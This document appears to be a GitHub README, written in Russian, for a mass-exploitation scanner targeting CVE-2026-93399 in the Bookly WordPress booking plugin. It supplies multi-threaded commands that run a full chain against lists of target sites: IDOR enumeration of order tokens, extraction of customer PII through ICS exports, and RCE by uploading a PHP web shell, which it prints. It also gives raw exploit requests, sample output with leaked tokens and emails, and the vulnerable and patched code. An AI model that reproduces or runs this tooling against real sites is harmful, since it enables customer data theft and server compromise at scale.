josemour8/cve-2026-93399Массовый сканер эксплуатации на Python для CVE-2026-93399 в WordPress-плагине Bookly: определение версии, неаутентифицированное перечисление токенов заказов через IDOR, извлечение PII и RCE через веб-шелл.
Bookly <= 28.2 IDOR без аутентификации + утечка PII + RCE
Сканер массовой эксплуатации для CVE-2026-93399 (CVSS 9.1 Critical), затрагивающей WordPress-плагин Bookly — Online Scheduling and Appointment Booking System (версии <= 28.2).
Плагин Bookly для WordPress уязвим к Insecure Direct Object Reference (IDOR) через AJAX-действия bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar и bookly_rollback_order. Все действия доступны без аутентификации (_default => 'anonymous'), а защита от CSRF отключена (csrfTokenValid() возвращает true).
Обработчик bookly_get_form_id безоговорочно сохраняет контролируемые атакующим данные form_data (включая order_id) в новую сессию бронирования без какой-либо проверки. Затем обработчик bookly_render_complete доверяет этому внедрённому order_id для поиска и возврата секретного токена соответствующего заказа — что позволяет неаутентифицированным атакующим перечислять последовательные ID заказов, раскрывать токены заказов других клиентов, получать информацию о календаре и записях на приём, а также безвозвратно удалять произвольные незавершённые бронирования.
Step 1: getFormId → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete → leak victim order token via Order::query()
Step 3: addToCalendar → extract customer PII (staff name, email, service, date)
Step 4: sessionSave → inject file payload (RCE, requires Files add-on)
_prepareFormData() и санитайзер _prepareCartData())requestspip install requests
git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests
# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect
# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50
# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii
# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce
# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full
# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt
# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20
| Флаг | Описание |
|---|---|
-u, --url | Один целевой URL |
-f, --file | Файл с целевыми URL (по одному в строке) |
--detect | Только проверка версии (безопасно) |
--enumerate | IDOR: утечка токенов заказов |
--pii | Извлечение PII через экспорт календаря ICS |
--rce | Попытка загрузки веб-шелла |
--full | Полная цепочка: IDOR + PII + RCE |
--start N | Начальный order_id (по умолчанию: 1) |
--end N | Конечный order_id (по умолчанию: 50) |
-th, --threads N | Количество потоков (по умолчанию: 5) |
-o, --output FILE | Файл вывода (по умолчанию: results.txt) |
-v, --verbose | Показывать все попытки |
body="bookly-responsive-appointment-booking-tool"
body="BooklyL10nGlobal"
body="bookly-main.css?ver=28.2"
body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"
body="bookly-addon-files"
body="bookly-js-upload"
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1
Ответ:
{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}
Уязвимый код (Ajax.php:45-46):
$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2
POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...
Ответ:
{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}
Уязвимый код (Ajax.php:733):
'bookly_order' => Lib\Entities\Order::query()
->where('id', $userData->getOrderId()) // attacker-controlled
->fetchVar('token') // victim token leaked
GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics
Ответ: ICS-файл с данными клиента:
BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT
POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)
Расположение шелла: /wp-content/uploads/bookly-files/shell.php
http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id
Обработчик getFormId() сохраняет весь параметр form_data (пользовательский JSON) в базу данных сессии без какого-либо белого списка или санитизации. Это позволяет злоумышленнику внедрять произвольные ключи сессии, включая order_id.
Обработчик renderComplete() читает order_id из сессии и напрямую запрашивает таблицу Order — без проверки того, что текущая сессия создала этот заказ.
csrfTokenValid() переопределён на return true в модуле бронированияpermissions() возвращает array('_default' => 'anonymous'), поэтому каждый обработчик регистрирует оба хука wp_ajax_ и wp_ajax_nopriv_В версии 28.3 добавлен _prepareFormData() — строгий белый список, который удаляет всё, кроме настроек отображения (skip_service_step, hide_service_part1, hide_service_part2, defaults). Также добавлен _prepareCartData() для санитизации ключей элементов корзины.
// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));